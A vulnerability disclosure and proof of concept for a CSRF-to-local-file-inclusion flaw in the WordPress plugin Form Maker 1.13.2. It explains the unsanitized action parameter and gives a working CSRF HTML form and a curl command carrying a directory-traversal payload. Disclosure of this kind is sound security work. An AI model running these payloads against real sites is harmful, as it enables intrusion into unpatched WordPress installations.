WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17

# Title: Form Maker by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/form-maker
# Version: 1.13.2
# Tested on: WordPress 5.1

Description
-----------

Plugin implements the following AJAX actions:

- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage_fm`
- `FMShortocde`

All of them call the function `form_maker_ajax`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

Plugin also registers the following AJAX actions:

- `paypal_info`
- `checkpaypal`

Those seems like the are only available to PRO version users, yet they
also are vulnerable to this attack.

Additionally the following AJAX actions are registered in PRO version:

- `get_frontend_stats`
- `frontend_show_map`
- `frontend_show_matrix`
- `frontend_paypal_info`
- `frontend_generate_csv`
- `frontend_generate_xml`

Those have the function `form_maker_ajax_frontend` as a callback. All of
them are vulnerable to the aforementioned attack. What's more
interesting about those is the fact that are available to non-registered
users also, making this attack directly exploitable, without using a
CSRF attack. In this case the vulnerable param is `$_REQUEST['page']`.

------

PoC
### Using a CSRF attack

```HTML

 <form method="post"
 action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php?action=/../../../../../index">
     <label>AJAX action:
         <select name="action">
             <optgroup label="Free version">
                <option value="generete_csv">generete_csv</option>
                <option value="generete_xml">generete_xml</option>
                <option value="formmakerwdcaptcha">formmakerwdcaptcha</option>
                <option value="formmakerwdmathcaptcha">formmakerwdmathcaptcha</option>
                 <option value="product_option">product_option</option>
                 <option value="FormMakerEditCountryinPopup">FormMakerEditCountryinPopup</option> 
                 <option value="FormMakerMapEditinPopup">FormMakerMapEditinPopup</option>
                 <option value="FormMakerIpinfoinPopup">FormMakerIpinfoinPopup</option>
                 <option value="show_matrix">show_matrix</option>
                 <option value="FormMakerSubmits">FormMakerSubmits</option>
                 <option value="FormMakerSQLMapping">FormMakerSQLMapping</option>
                 <option value="select_data_from_db">select_data_from_db</option>
                 <option value="manage_fm">manage_fm</option>
                 <option value="FMShortocde">FMShortocde</option>
             </optgroup>
             <optgroup label="Pro Version">
                 <option value="paypal_info">paypal_info</option>
                 <option value="checkpaypal">checkpaypal</option>
                 <option value="get_frontend_stats">get_frontend_stats</option>
                 <option value="frontend_show_map">frontend_show_map</option>
                 <option value="frontend_show_matrix">frontend_show_matrix</option>
                 <option value="frontend_paypal_info">frontend_paypal_info</option>
                 <option value="frontend_generate_csv">frontend_generate_csv</option>
                 <option value="frontend_generate_xml">frontend_generate_xml</option>
             </optgroup>
         </select>
     </label>
     <button type="submit" value="Submit">Submit</button>
 </form>

```

### Without leveraging the CSRF vulnerability
```sh

curl 'http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php'  -d 'action=get_frontend_stats&page=/../../../../../index'

```